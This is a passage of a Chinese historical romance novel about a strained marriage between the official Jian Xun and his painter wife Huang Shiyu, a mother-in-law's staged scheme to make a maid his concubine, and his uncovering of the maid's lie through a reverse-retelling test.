“伽楠香木经久留香,你被一个束着镶嵌此物带銙的男人抱那么久,官袍都腌入味儿了,这便是你每日上衙要办的差?不会是像我们方才那样吧,到底是你在办差还是他在办你?”简珣眼里闪着幽暗的光,不疾不徐启音,“难不成我一个人还喂不饱你?” 黄时雨撑着半边身子坐起,白着脸梗着脖子,仿佛被人戳到了短处。 简珣却以为她没听懂,贴心地多描补了一句,“正三品往上带銙皆饰有伽楠香木,你素日又爱盯着官阶,那人品级如此高,心里是不是很受用?” “你,血口喷人……”明明她没有错,却发现一丝力气都使不出,黄时雨灰心的脸上布满了失意。 “我血口喷人?”简珣扣住她后脑勺,迫使她与自己正面相对,视线交抵,“那你以自己的画道发誓,昨儿你与他没有抱在一处,也没有发生什么!” 黄时雨果然哑口无言,努力瞪大的眼眸里盈盈光点,蓄满了泪意。 简珣深吸一口气,低柔笑道:“这期间,哪怕你认真抗拒一下,那人应该也不敢抱你那么久吧?今儿教你个乖,没那个瞒天过海的本领就别在我脸上偷人!” “我偷谁了?”黄时雨一动不动,任由他拿着。 “闻遇。” “……”黄时雨沉默片刻,廖然笑了笑,“你要非这么栽赃,我也不是不能去试试。” “不是他?”简珣满目愕然,梅娘的反应骗不了他。 “简允璋,我知道你瞧不起我,在你眼里我就是个失贞不守妇道的女子。还有么?我挨个试,给你坐实,你就不用整天疑神疑鬼。”黄时雨喃喃道。 简珣摇了摇头,“我没有,你不要冤枉我!” “那你为何要冤枉我?” “冤枉?除了猜错名字,我还说错什么?”简珣气急而笑,“你倒是给我说道说道,是误会你们昨天搂搂抱抱还是误会有肌肤之亲?” 黄时雨再次哑口无言,微微颤动的嘴唇几度翕合,却化成了漫长的沉默。 简珣唯恐她脸面过不去真用破罐子破摔的招数,不禁懊恼,想要抱一下她,却被无情推开。 引以为傲的道行终于碎了满地,他怒道:“你是我明媒正娶的女人,怎么他能碰,我就碰不得?” 含酸拈醋并不能换回她的心意,但是可以换一个大耳刮。 把个简珣的脸颊都打偏了。 他难以置信捂着自己的侧脸。 黄时雨觉得打人的那只手隐隐作痛,麻麻的,好几次都没法儿抬起,本就断了根带子的主腰无论如何也穿不好,干脆砸在简珣身上,不穿了。 她胡乱整了整,勉强维持外表的体面,踉踉跄跄走到了暖阁门口,复又回身望他,“我这么糟糕,你也一直不开心,何必还要忍受,不若早些把我休了吧。公主总不能强迫你辞官做驸马对不对?休了我,趁年轻找个干净的姑娘。” 这番话憋在心里一直没有说。 如今温着声音,和缓说了出口,心底似乎也没那么痛了。 简珣咽了咽,眸中尚有还未褪净的浅浅怒意,却被汹涌的惊慌席卷了,“你想得美!就算把你休了我也是个成过亲的郎君,根本不会有干净体面的姑娘嫁给我。没有你,我,我娶不到媳妇了……” 黄时雨怔怔道:“你在说笑吗?就凭你的门第找不到媳妇。” “找不到!”他怒然拔高了声音,迎上她如水的眼眸,整个人忽然就僵了,虚弱不已,“不要以为我真离不开你,还不是因为像你这么漂亮又懂事的姑娘太少了。人家那么好断不会跟被你祸害过的郎君,你糟蹋了我,休想脱身一了百了。” “蕊珠不就很漂亮,不比我差,也比我懂事,你把她抬了,就不用时时惦记在我这里吃过亏。”黄时雨倒没有赌气,实话实说。 她有过别的男人,而他多有几个女人,应该就再没借口找她麻烦了。 简珣望着她的目光霎时复杂难辨,连神情都有些扭曲了,颤声道:“我不喜欢贱籍,我要像你这样的女官。” 也不知黄时雨有没有相信他的鬼话,只茫茫然蹙了眉心,转过头一步一步走回上房。 简允璋又挑剔,事儿又多。 少爷与少奶奶吵架了。 从前都是床头吵架床尾和,这次却有些不大一样。 少爷宿在了书房,一连半个月都不见二人和好。 月底少爷没坚持住,假装路过上房,回回当着少奶奶的面儿路过,可惜没捞着脸面,愣是路过了七八回也未能盼来少奶奶一个台阶。 梅娘不给他台阶下。 简珣也是硬气了一回,真就没有主动进上房。 凭什么每次都是他向她低头。 凭什么她跟别的男人不检点,还不准他大声说句话,说了便恶人先告状,冷落他。 不二梅斋的几个近身丫鬟洞察了一切,益发屏息敛神,尤其当着曹妈妈与孙妈妈的面,不敢泄露半分。 夫人本就因为小两口留在了京师,梅斋的丫鬟各个心知肚明,谁敢在这种时候说错话办错事,万一挑起夫人与少奶奶事端,少爷断不会容人的。 她们在梅斋当差,自然得守着少爷的规矩。 话说两位妈妈,是夫人的人不假,可也十分清楚自己的身份,以及这个府邸未来谁当家,断然不好无视眉眼高低告去夫人的清苑。 眼下唯有走一步算一步,小心哄着,毕竟是小两口,闹个把月脸子总会好的,让长辈掺和进去才麻烦呢。 黄时雨并没有故意冷落简珣。 在她眼中,脚下的土地每一寸都是他的,就连她的人也是他的,他有权出入任何地方,也有权对她做任何事。 只没想到他全然恼了她,厌恶如斯,默然划清了界限,一个上房一个书房,每日上衙也不再同乘。 起初她深感不知所措,微微慌乱,后来不知不觉习惯了。 偶尔相遇,她顾念旧时情谊,试图说句缓和的话,谁知才打一声招呼,就被他冷若冰霜的眼神瞪回去。 她也是头一回见识到简珣的锋利与森冷,不知该如何应对。 唯有当着婆母的面,简珣才正常。 弄得她都有些迷糊了,手忙脚乱配合着。 度过最初的无措,黄时雨把注意力重新放在了画署,又给自己在上房置办了一间小书房,倒也轻松自在。 端午节后姐姐随同市舶使的曲大人赶往清宁县,姐妹二人约好明年一定相见,就此依依惜别。 夫妻失和这种事长久下去不是办法,也不可能完全瞒得住长辈。 尤其简珣整个人明显瘦了一圈,神色怏怏,终于引起了程氏注意。 时间已经来到了六月初,黄时雨的肚子还是没动静。 程氏想不注意都难。 好在梅斋的下人心齐,并未说漏了嘴。 付妈妈和曹妈妈几番纠结,欲言又止。 黄时雨知道再这样下去终会露馅,连忙亲自去了趟书房求和,不意简珣不在。 虽然怀疑这是闭门羹,可她没有证据。 铩羽而归。 没想到,是夜简珣就来了。 黄时雨讪讪然,不过还是诚恳地道了谢,毕竟被婆母知晓不好过的人只会是她。 简珣在如此厌恶她的情况下依然出手相助,属实大气。 “你,你若是不愿意,我可以睡外面榻上……”她讨好道。 大气的简珣翻过身背对她一言不发。 这是愿意还是不愿意?她犯了难,试着往床沿挪,却被他抬手扯了回去。 黄时雨吓得一动也不敢动。 简珣冷笑,“你不想看见我便直说,我也不是非要赖在黄大人床上的。” “你误会了,我是不想打扰你。”黄时雨耐着性子解释。 一男一女共处一室,简珣的骨气本来也没多硬,如今挨到了日思夜想的人,再硬的骨头也碎了。 他垂眸,抓着她一动不动。 黄时雨有些紧张,怀疑他动了欲念。 黑夜里,安静良久,她惊呼一声,被他拥着倒进了凉簟。 感受到她的惊慌,简珣就心软了,本来也不忍吓到她。 他竭力轻柔缓慢些,不让她难受。 原以为这样的相融,会让他能再次离她的心脏近一些,可她只会小声地催着他快一些吧,快一些吧。 他真快了,她又哭着摇首:“不,不,不是这样的。” 他明知故问:“那是哪样?” 她泪盈于睫望着他,祈求道:“快些结束好不好……” 分别的太久,她又开始不适应他的存在。 简珣噙住了她的呜咽,碾转着,疼爱着,迫使她不得不重新适应他的存在。 次日,黄时雨颓然钻进马车,只想逃离简府,快些上衙,谁知简珣得寸进尺,竟登上了她的马车。 两人一个冷若冰霜,一个战战兢兢。 幸而月事如期降临,当晚,简珣吃到了合乎礼法的闭门羹。 他悻悻然立在冰冷的阶上,背影萧萧索索。 第87章 原谅 还没出末伏的夏夜,热气被荷塘碧波化解了大半,清风徐徐。 简珣杵在原地。 原本好好的,都让他进了屋,却因为他又问了句“那人到底是谁”,气氛急转直下。 黄时雨没有直接回答,却忽然道:“我来了月事,今晚不能服侍你。” 他定定望着她,“我何曾让你服侍了。” 可她有月事,像是拿到了“免死金牌”,坚持赶他走。 简珣听见了声若蚊吟的一句“你就当他死了,你要同死人计较么”。 死了的人影响不了活人什么。 梅斋上房的园子固然凉快,可再凉快也比不得堆放两大缸冰块的寝卧,最难受的莫过于蚊虫叮咬。 素秋劝了两句,少爷却益发沉默了,只好命小丫鬟在四周点上具有驱蚊功效的熏香,又亲自打着扇儿。 上个月她才成的亲,原本已经轮不到做这些,可新升任的丫鬟在主子跟前的脸面尚浅,脑筋一转就求到了她这里。 继素秋白露后简珣身边的一等丫鬟除了伶俐能干还特别本分,样貌更是一个比一个普通,也不知少爷在给少奶奶献什么哑殷勤。 黄时雨透过朦胧的纱屉子,望着月色下的简珣,宛如雪浪石峰的一株青松,良久,她才收回目光。 有时候,她挺希望他对她也薄情一些,善良且薄情着。 六月份忙忙碌碌,光是画艺考核就闹得人心惶惶。 朝廷为免画师滥竽充数混日子,略加修改今年的赏罚措施,末等不仅要减一成俸禄还将失去次年报名离京采风的资格。 离京采风基本就是为皇帝或太后办差,再不济也是为皇后,相当于外调攒资历的文官,一旦熬到回京,轻则加俸重则升官,履历更是添上了光鲜一笔。 然而外调文官通常五年起步,采风却最多不超五年,相较而言,算得上官场最为便利且不耗时的升迁途径,众人趋之若鹜自不必说。 用闻大人的话来讲,黄诏侍铁定是祖坟冒青烟,今年鸿运当头,飞升六品,倘若明年再选进离京采风,归来怕是要成为画署有史以来最年轻的五品女官。 搁在宫里便是个大姑姑了,太后身边商姑姑那种级别的。 人呐,除了要有实力,还真得需要些玄妙气运。 一席话说得黄时雨心里仿佛鼓满海风的帆扬起了。 廿三这日画署旬会。 作为官衔资历皆低的小诏侍,黄时雨并不能次次参与,偶需要帮忙打下手,闻大人才会召她。 她是个温顺又会看眼色行事的,每回坐在闻大人身后不声不响,存录却比旁人记的清晰又明了。 消失了个把月的小闻大人,忽然到访画署,彼时旬会才将将结束,周遭一众官员立时迎了上去。 黄时雨后退,贴墙而立。 世上哪有不想在上官跟前表现的,不是她不想凑过去显弄两下,而是阿珣疑心重,即便已排除小闻大人,却实打实怀疑过,那么内心深处定然也认同了这种可能。 乱七八糟的她,不想再牵连无辜。 闻遇的目光穿过人群,遥遥看了过来。 黄时雨左顾右盼没发现什么,复又困惑地觑向他。 闻遇深深看她一眼,调开视线,转身大步流星迈入隔壁。 黄时雨松了口气。 作为一名知情识趣之人,简珣明知有程氏在,黄时雨断不敢明目张胆冷落他,更不会懒于侍奉床帏,却还是给她行了方便,尽量减少纠缠,任她全身心投入画署的考核。 实在想得难以入睡,才厚颜去上房抱一抱她共眠,也能借机使她早点儿怀上孩子。 那日梅娘请求下堂,他登时醒悟了。 今非昔比的姑娘,拥有足够坚硬的翅膀,背后还有个位高权重的情郎,纵使离开他亦能在京师活个明明白白。 她,不再需要他。 锦绣成堆的京师,优秀的郎君也成堆,而梅娘早就不再是泽禾娇怯无知的小丫头,见识到更好的,自会不甘当初白白便宜他。 且说这个黄时雨,固然勤奋刻苦,然而围着官场打转的儿媳满京师怕也只有程氏容得下。 别看闻道芝闻大人威风凛凛,所到之处无不敬重,可要私下问各家诰命想不想要闻大人这样的儿媳,断然没有,否则闻大人也不会守了二十年寡。 然而程氏的容忍也不是没有底线的。 这个底线便是简珣与子嗣,倘若知晓黄时雨隔三差五才与简珣同房一次,简府的天真能塌下来。 不过夫妻之事,只要丈夫容得下,下面的人谁敢置喙。 程氏也不那种天天盯着儿媳床笫之人,倒还真被隐瞒个密不透风。她唯一纳闷的是都七月了,儿媳肚子怎还没有动静。 官场得意,情场往往极大可能失意。 这话用在黄时雨身上再恰当不过。 她顺利通过了考核,却也发现自己与简珣再也无法像从前那般亲密无间。 简珣的心思很深,本就对她心存芥蒂,自从四月份大吵一架,两人就有了裂痕,直至六月“和好”,也是一种对于现实的无奈妥协。 人生在世,不可能事事顺心做自己,都有着一定的身份,维护这个身份做好分内之事才是立世根本。 黄时雨的立世根本是做一名好儿媳好妻子,简珣则是光耀门楣,守护母亲妻子,传宗接代。 所以他们必须和好,时不时同床共枕,一齐努力。 这是一种疏离的和好。 简珣不再痴迷于她的身体,也可能是心冷成灰也可能是有了新欢,这些黄时雨无从得知,遗憾之余却也没有太多意外。 她与他迟早都是这样,只不过这一日来的比预期的早。 这一年临近中秋,付妈妈发现黄时雨还是没有身孕。 少奶奶生辰月份大,眼看就要十八岁,月事也调理的比从前规律,单从表面看相当健康,却在少爷仅有她一个的情况下,一点动静都没有。 二人同房次数实则不少。 情况怕是比此前认为的还严重。 倒也不是不能生,而是可能要再等若干年。 等得越久,人生的变数便越多。 程氏心乱如麻。 阿珣从来都是目光长远,居安思危,十五岁起,便意识到子嗣对于宣道坊的重要性,况且,他本就是极为正常的男孩子,许多想法与大部分男人无异,这体现在他对鸢娘一见倾心,也对程氏安排的通房极为满意上。 虽说还未给通房开脸,但程氏坚信阿珣不讨厌蕊珠,甚至有些儿喜欢的,单纯的男人对女人感兴趣的喜欢,只可惜喜新厌旧,在得到梅娘之后,他的魂儿就被拘了,哪里还顾得上其他。 如今程氏不敢肯定阿珣是否还喜欢蕊珠,但也没见他对其他女人感兴趣,因此,蕊珠依然是一个极有可能令他心生怜爱的有力人选。 主要是太像了。 蕊珠的娇柔以及懂事,包括身世都与梅娘大差不离。 唯一不同的是梅娘有阿珣几近无底线的宠爱与呵护。 这一点,蕊珠望尘莫及。 清苑上房,曹妈妈一面为程氏打着扇,一面以袖抹了抹额头的汗,心中七上八下。 程氏神色沉重淡漠,“我若是如此安排了,你说,梅娘会不会在背后磋磨阿珣?” 这哪里是曹妈妈好接的话,她讪讪然,一脑门汗。 不管承不承认,少爷被少奶奶“玩弄于股掌之间”是不争的事实。 而他不敢纳妾碰通房,多半还是惧内。 如若有不得已的外力轻轻推一把,事情或许还有转机。 且这件事没法儿再拖。 因为舫西那边的年轻管事即将动身入京,鬼迷心窍的少爷要把蕊珠嫁予其中一人。 彻底斩断所有可能。 倘若连蕊珠都不行,以后怕是再难有人能入他的眼。 程氏没想到曹妈妈这么怵简珣,不由暗笑。 这些年,自己调理的人,在阿珣身边待上些时日皆如此。 他是个会拿捏人心的,怎就在梅娘跟前立不起呢? 中秋佳节,举凡在京的简氏族人照旧在盛平坊安国公府度过。 从前简珣还未入仕,年纪又最小,旁人很难把他当大人对待,但现在的他,作为一个从五品伴君的侍讲学士,令人生畏,有了畏就不再是小郎君,而是同大家一样的大人。 素日就不擅饮酒的简珣与几位堂兄喝了酩酊大醉。 一众老安人、夫人、奶奶们则在桂园听曲,言笑晏晏,好不热闹。 估摸简珣醉的差不多,程氏才命人架着他回府。 不醉也没关系,回府了自会再请他陪自己小酌。 目下是不用小酌了。 黄时雨回府后就被曹妈妈拦了下来,说少爷已经在书房喝过解酒汤歇下了。 “阿珣有没有吐过?郎中可来看过?”黄时雨不疑有他,仅仅是不放心。 曹妈妈垂着脸温声回:“少奶奶且放宽心,夫人亲自安排的,还有两个丫鬟值夜,定不会出纰漏。” 黄时雨朝书房的方向望了一眼,蹙眉返了回去。 书房内,蕊珠跪在地上浑身发抖,哭道:“夫人,奴婢不敢,少爷不会疼奴婢的,万一惹恼了少奶奶,奴婢就没法活了。” 程氏慢慢抬眼,默然片刻才问:“你是不敢还是不想?” 蕊珠蓦地凝噎,静静垂泪。 程氏了然,笑了笑,“原来不是不想只是不敢。这样吧,我保你事后安然无虞,一辈子富贵,剩下的就靠你自己了,若能让少爷怜爱三分,便是你的大造化,我不说你也明白吧。” 蕊珠死死咬着下唇,明明害怕到发抖,却到底是心动了…… 程氏见她不答,便道:“我给你一盏茶时间考虑,一盏茶后若还不愿便自行离开,我自然有其他丫头顶上。” 蕊珠就抖得更厉害了。 抖是因为害怕,却绝非不愿。 一盏茶后,这个丫鬟鼓足了勇气,给程氏用力磕了个头。 程氏莞尔,“你别怕,阿珣对女孩子很温柔,况且他醉成这样,根本做不了什么。” 蕊珠愕然睁大双眼,做不了什么…… 到底还年轻。 程氏敢担保就连简珣本人也不知喝醉酒无法同房。 毕竟这是一件心照不宣的事儿,有经验的人断不会分享,不然以后做了坏事哪里还有比“醉酒”更好的借口。 “傻孩子,真的假的又有什么关系,只要少爷以为是真的那就是真的。”程氏循循善诱道。 这一晚,蕊珠在曹妈妈地教导下懂了许多事。 曹妈妈掏出一只拇指大的瓷瓶儿,不知装了什么血,随意撒在褥子上,朝蕊珠看一眼,便关门离去。 蕊珠坐在床沿冷静好半晌才止住哆嗦,白着脸凝视安然入睡的简珣,她也要醉了,似乎也迷失了。 次日天光大盛,也不知什么时辰,为何无人提醒他起身?简珣揉了揉太阳穴,正欲掀开丝衾坐起,登时面色剧变,搭在胸口的胳膊显然是女人的,却不是梅娘的。 他的心脏都要炸开,怦怦然狂跳,迅速扭过头,身边赫然躺着蕊珠,未着寸缕。 书房的寝卧传来碎瓷片的声音,比碎瓷声更可怕的是少爷压低了的怒斥。 一炷香后,简珣面色苍白,颓然坐在圈椅里。 他不知道发生了什么,也不是故意的,完全想不起昨晚的事。 蕊珠的面色则青白交错,抖若筛糠,一径低着头哭。 很快有人去给黄时雨递了话。 作为主母,这种事下人也只能请示她。 曹妈妈含胸低首道:“少奶奶不必请示夫人,夫人的意思是都听您的,不论卖给人牙子还是留下伺候少爷,全凭少奶奶做主。” 又不是阿猫阿狗,犯点错便要打要杀发卖,黄时雨蹙眉抿了抿唇,更何况一个巴掌拍不响,这种事又不是女人想就能成的,少不了男人的意愿。思索几瞬,她便有了主意。 待她赶到书房,简珣正在净房沐浴更衣,蕊珠依然跪伏地上,身边没有一个丫鬟敢上前搀扶她,甫一瞄见少奶奶身影,皆退避三舍。 这种底层人命不由己的惊恐,黄时雨可太熟悉了。 她也有些无力,停顿许久才听见自己的声音:“就按府里开过脸的规矩办吧,给蕊珠换个离少爷更近的地方,赏两副头面,至于抬不抬妾是少爷的事儿,按他意思办。” 曹妈妈规规矩矩应是。 简珣怔怔迈入了寝卧,周遭丫鬟连忙屈膝施礼。 “你们,都下去。”他沙哑道。 丫鬟们立刻鱼贯退出,最后面的两个架着蕊珠紧跟其后。 不二梅斋的天要塌了。 简珣一眨不眨望着黄时雨。 晨间阳光在他的身影镀了层淡淡金晕,如烟之尘在光中翻滚,一切都是柔柔的,模糊的,看不太清沐光而来的他神情。 “你,你还好吗……”黄时雨的声音亦轻柔如烟尘,却先关心他的身体。 “我什么都不记得,也没有对蕊珠生有邪念……”简珣呢喃道。 可被褥的落红历历在目。 黄时雨忍不住觑了一眼“战场”,不敢想象阿珣当时有多疯狂。 来之前,原以为会见到一个春风满面做了一夜新郎的阿珣,没想到他竟像犯了错的孩子似的,无助望着她。 罕见的脆弱。 黄时雨不忍心刺激他,也没有立场指责什么,只好安慰道:“没事的,蕊珠本来就是你的人,说到天上你也未曾触犯礼法。” 咽了咽口水,她又胡乱描补道:“再说,她又那般爱慕你,昨晚初历人事,你莫要再吓唬她。” 显然不是蕊珠勾引或者强迫他,这种事,女人强迫不了男人,但男人可以……简珣百口莫辩。 他上前一步,将梅娘拉入怀中,紧紧拥着,那么用力。 力道之大黄时雨拧眉喊痛,却鬼使神差嗫嚅道:“现在,我们一样了,一样的不清醒或者身不由己才犯了错,你,可以原谅我了吗?” 第88章 红叶 梅娘说的话仿佛是一双柔软的手,把简珣的心脏捧进了冰水里浸透,从头皮漫延而下。 他几度哽咽,眼眶泛红了一片。 良久,一滴泪沿着又白又薄的脸颊悄然滑落。 半边身子都快要被他抱麻了。黄时雨只能侧着脸贴在他胸膛,想要抬一抬头,却勉强瞧见了他的下颌。 也许,阿珣并不开心。 哪怕对方是蕊珠,他也不开心。 因为当时的他喝醉了,不清醒,将心比心,谁愿以最狼狈的模样与人发生亲昵之事。 哪怕对方长得再好看。 她太了解他此时此刻的心情,于是也环抱住他,努力垫着脚攀着他肩膀,竭力与他相互依偎取暖,如同安抚曾经无助的自己。 “梅娘,我不喜欢蕊珠,从未与她私下独处过,昨晚的事太奇怪了,这不像我。”简珣从沉重打击中浮出水面,一点点恢复清醒。 黄时雨纠结地闭上眼,“可是,蕊珠身子已经给了你,你不负责吗?” “我不会负责。”简珣的目光越来越冷,“这件事我一定要查清楚,倘若真是我做的,我自会补偿蕊珠,再为她寻一门好亲事。” 也就是他不认。 这一晚不论真假,他都不认。 “你,是不是在心里偷乐?”他缓缓松开她,双手捧起她的小脸,垂眸与她四目相抵,“尚不知真假,你就拿来相抵自己婚前婚后的不贞?” “咱俩可不一样!”他惨白一笑,“我从未瞒着你接触其他女子,更没有利用她们的倾慕趁机发生肌肤之亲,而你,一再背叛,直至今日还与那人不清不楚。我连知情都不配,还要受你冷落。梅娘,我们完全不一样,你,辜负了我。可你明明说过永远都不负我,永远记得我的好!” 黄时雨呐呐无言,艰难地拉回神志,却唯能道一句苍白的“对不起”,然后轻轻擦拭他脸颊的泪珠,却越擦越汹涌。 原来他委屈之时也会哭,像她一样难过。 书房外,丫鬟们有的钻进茶水房有的站在廊下,竖齐耳朵偷听屋里动静。 曹妈妈在园子里盯半晌,也竖着耳朵听,可惜什么声响儿都没有。 谁也不清楚小两口正在做什么。 话分两头,说回这厢的清苑。 程氏也不好过。 今早之事,举凡是个正常男人都会默认,毕竟酒醉误事,算不得大过。 在不得罪妻子的前提下还能抱得美人归,这么好的台阶程氏都为简珣铺好,千算万算没算到他竟不肯下。 只默许蕊珠搬进一间比从前宽敞的屋子。 日子古怪而静谧地翻了又翻,惴惴不安的曹妈妈带来一则消息:“少爷在书房一连歇了六晚。” 既没去上房找梅娘,也没有去西南角蕊珠房里。 他白日上衙,晚上回府面也不露。 听说进食也不如从前,几经打听才知是因大病一场,烧得滚烫滚烫,持续了两日,天天还像没事人一样上衙。 “夫人莫要惊慌,少爷目下已经没有大碍,素秋亲口说的。奴婢为此专门守在梅斋园子瞧过,看见少爷走路平稳有力,郎中也说他可以停止汤药。”曹妈妈字斟句酌,低声细语道,“是了,昨晚少爷歇在上房,中间要过一遍水,再多的奴婢也问不出啥。上房的丫鬟如今都不怎么听奴婢的话。不过既然都要水了,想来已经和好。” 夫妻床头吵架床尾“打架”,知道“打架”了多半是没大问题。 阿珣是个傻的,但凡梅娘肯哄他一哄,什么事都没有。 程氏疲惫地叹了口气。 蕊珠被安排在紧邻梅斋的小跨院,院子还算清幽,唯有一间西厢房并一间耳房才属于她。 少奶奶赏了她两套足金的头面,外加双倍月例,是个心善又容得下人的好奶奶。 少爷,却什么都没给她,连句温存的话儿也没有。 十六那日她并没有睡着,也不敢睡,担惊受怕了一晚怎可能眯住眼睛。然而曹妈妈告诉她,只需流眼泪不说话少爷就一定会怜惜,男人都这样,对柔弱的女人狠不下心。倘若少爷醒来动了欲念,她就推说身上疼,不方便。少爷仁慈,定不会为难她。 只要少爷认了就算过关。 过关后夫人自会教她将来如何圆谎。 不意少爷用那种深入骨髓的寒凉目光打量她,仿佛要将她看穿,抓出藏在灵魂深处的阴暗。 她在心里宽慰自己,少爷没见过多少女人,只要自己不松口,再有夫人帮衬,定会长长久久瞒下去。 辛夷笑吟吟来到小跨院,送来夫人的赏赐,暗中却摇了摇头,这是一个糊涂姑娘。 傻到以终生幸福做赌注,赌少爷三分怜爱,殊不知少爷对她本就怜悯顾惜,这么一闹,反倒将少爷推远了。 作为夫人身边最得力的大丫鬟,辛夷的聪颖与老练自是其他丫鬟望尘莫及的。她一眼就知道蕊珠糊涂了。 少爷对蕊珠即便已无男女之情,那也是实打实的怜惜,否则又怎会将她白白配人,配的还是舫西年轻的掌柜。 谁家通房能有这般好命,清清白白出去嫁人。 嫁的非但不是又老又丑的杂役,还是齐头整脸大有出息的年轻郎君。 时下多少龌龊男主子,自己吃完又不想便宜别的男人,便将通房随便许个半废的糟老头。 就这还有不少通房上赶着抢呢,因为嫁出去至少还能活命,摊上个心黑手辣的主母,被磋磨死了都不定有张草席卷。 偏蕊珠不珍惜。 原本她可以做正头娘子,儿孙满堂,衣食富足。 局外人清明,局中人困于贪嗔痴。 蕊珠将新缝制的皂靴交给琼丹。 琼丹是少爷身边新提拔上来的婢女,长得整齐大方,颇有股飒爽的气势。 “劳烦蕊珠姑娘了。”琼丹笑呵呵接过皂靴,“姑娘今非昔比,可不能再做这些粗活,以后这些都交给南星与半夏。” 这番话说得极其客气,蕊珠却听懂了弦外之音。 少爷不要她了。 斩断了两人之间最后一根相接的弦。 她难堪地垂下脸,嗫嚅应一声“是”,高一脚低一脚离开了,走到雪浪石山背面泪如雨下,直到一道阴影挡住了明光。 那阴影动也不动立在她三步开外,高大而冷峻。 蕊珠战战兢兢抬眼眼眸,睫毛乱颤。 简珣面无表情,审视良久才命她站直了。 “我突然非常好奇整个过程,”他双手负在身后,眼角微挑,“十五那晚二更的事,你,再重复一遍。” 只哭不说话在特定的情况下才管用,现在肯定是不行的。 少爷问话,奴婢岂有不应之理。 蕊珠还想做最后的挣扎,“奴婢,奴婢羞赧,求您了少爷,不要再逼奴婢。” 简珣目光就沉了下去。 吓得蕊珠魂飞魄散。 他冷冷道:“做都做了还有什么不能说,况且只有你我二人。” 蕊珠面色苍白,把曹妈妈教的话磕磕巴巴复述了一遍。说得多错得多,必须含含糊糊交代,诸如少爷抱她不松手,嘴里喊着少奶奶的名讳,一径扑倒她,她是少爷的人,当然不能反抗,就半推半就成了好事。 少爷的神情没有一丝的波澜。 似乎在思考什么。 “再详细一点。”他目中没有半分旖旎,根本不似对春宵的流连回味。 蕊珠哆哆嗦嗦又加了一些情节,脑子乱成麻,懊悔不迭,含泪说了许多羞然欲死的场景。 简珣的神色依然没有波动。 那不是他,他才不会认错梅娘。 没人比他更清楚梅娘的气息与手感,更不会如此粗鲁,他绝对舍不得弄伤她的。 “哦,是这样么,那你再把整个过程倒着复述一遍。”简珣忽然道。 啊?蕊珠睁大了眼。 为何要倒着说…… 她不理解,满目茫然,却不敢违逆,张了张嘴竟发现了一件恐怖的事:倒着复述谎言无比艰难。 几乎不可能的。 她张口结舌面红耳赤。 简珣唇角微勾,负手绕着她缓缓踱步一圈,“人,在毫无准备的情况下,根本没法倒着叙说未曾亲身经历的事。” 幼年时期他就发现了这个有趣的规律,还专门用梅娘验证过。 几乎可以肯定蕊珠在撒谎。 那晚,阿娘送他回到书房,想当然留下蕊珠伺候。 蕊珠是他名正言顺的通房,丫鬟们并不敢阻拦,只好守在外面值夜。 据琼丹所言,二更确实传出蕊珠的哭声与求饶声。 其实做没做过,只需看两眼便一目了然,然而他是男子,检查了蕊珠身体不管真假都真了。 所以交给了阿娘身边的妈妈检查。 妈妈与阿娘一致确认蕊珠就是被他欺负过,还受了点伤,含蓄地告诫他近期不得再碰蕊珠。 把女孩子弄伤的禽兽绝对不是他。 简珣无法得知当具体情况,却清楚自己的身体,完全没有欢好过后的感觉,男人也是有感觉的好不好。 “蕊珠,你太让我失望了。”简珣抿紧了唇。 “少爷,您就那么讨厌奴婢吗?”蕊珠失声痛哭,“这些年我何处不听话,何处逆过您心意!您不想对奴婢负责奴婢也不敢有怨言,又何须怨恨奴婢……” 她吃了熊心豹子胆。 简珣笑了笑。 “你们,在做什么?”黄时雨拧眉走了过来。 这条鹅卵石小径也通上房,她如今虽不去书房却也时不时走这条路,图一个景色好。 哪成想听见了女孩子压抑又惊恐的哭声。 更让她无法接受的是,把女孩子吓哭的人是简珣。 简珣警告地扫了蕊珠一眼。 蕊珠如蒙大赦,乖乖告退。 如此,黄时雨身边的丫鬟也不敢离得太近,屈膝施了一礼便识趣地后退数步。 “阿珣,实在不喜欢就把蕊珠嫁了吧,何必如此折辱她?”黄时雨望着蕊珠仓皇逃窜的背影,扭头看向简珣,“我发誓永远不再提此事,不让你难堪。” “谁说我讨厌她,谁又说我难堪了,”简珣冷冷调开视线,“我的事不用你管,反正你心里认定我欺负了她。” 黄时雨与简珣并未和好。 愈演愈烈。 他只是不在下人跟前撂她脸面,私下却一点也不饶人的。 就连同房他也能一面折腾她一面冷言冷语,她稍有反驳便会被他堵住嘴,深深吻住。 黄时雨相信简珣是个正人君子,断不会做出强迫女孩子的事,她垂眸走了过去,轻声道:“我没有那么想,我相信你绝对不会欺负其他姑娘。” 他只欺负她。 “可你方才看我的眼神多么伤人。”简珣倾身拥着她难过道。 深秋摇曳的红叶如火如荼,黄时雨只能努力仰着脸,目之所及竟是高不可攀的天空。 简珣亲了亲她脸颊,垂眸覆上她的唇。 “梅娘,我们永远不分开,好不好?” 第89章 多情 许是怕她又说什么不中听的。 他根本没给她回答的机会。 简珣前一刻还凉凉的心,因为梅娘暖暖的樱唇,就微醺了,啄了又啄,才缓缓地放开了她。 她乌黑的眼眸像浸润在一汪春水中的宝石,盈盈清澈,檀口微启,宛如胭脂色的花瓣,引他迷失,沉湎于情欲,醉在她缥缈的石榴裙下。 他目光一黯,复又欺身噙住她的唇。 黄时雨被他一顿轻薄,一阵阵迷离恍惚,心口乱跳,陡然醒过神,不禁紧张,四下望去,周围一个人也不见了…… “不,不行……”她偏过头将脸埋在他胸口,避开他肆无忌惮的亲昵,“不要在外面这样。” “我在自己家里亲自己的媳妇,何错之有。”简珣嘴上不服,却停下了攻势,那只放在了山峦之上的手也讪讪缩了回去。 可他叫嚣的变化总要等些工夫才能平息,于是他抱着她在原地相拥许久。 “梅娘。”他轻声道。 “嗯?”她听见了他胸膛有力的怦跳声。 “我没有轻薄蕊珠。”终究还是说出来了。 即便蕊珠是他的人,伺候他床笫之事天经地义,他也不愿担醉酒轻浮污名,堕了在梅娘心中的光风霁月。 况且蕊珠说谎,就愈加证明了他心中猜测。 却又不忍暴露阿娘对梅娘的不满,那样只会将他与她之间最锐利的问题摊上了明面。 也是他最不想面对的。 “我也希望如你所言,可你们……”黄时雨支支吾吾。 情感上她无比相信阿珣,可情感说服不了理智,落红历历在目,以己度人她也不觉得一个姑娘敢以此算计。 简珣僵硬道:“酒,只是令人熏熏然,思考迟缓,应对迟缓,而不是催发欲念。喝酒犯浑之人定然是平日里就想犯浑,借酒壮胆发作而已,反之,平时就没想过的事,又怎会喝醉了忽然大动干戈。” 他说的好有道理。黄时雨忍不住动摇。 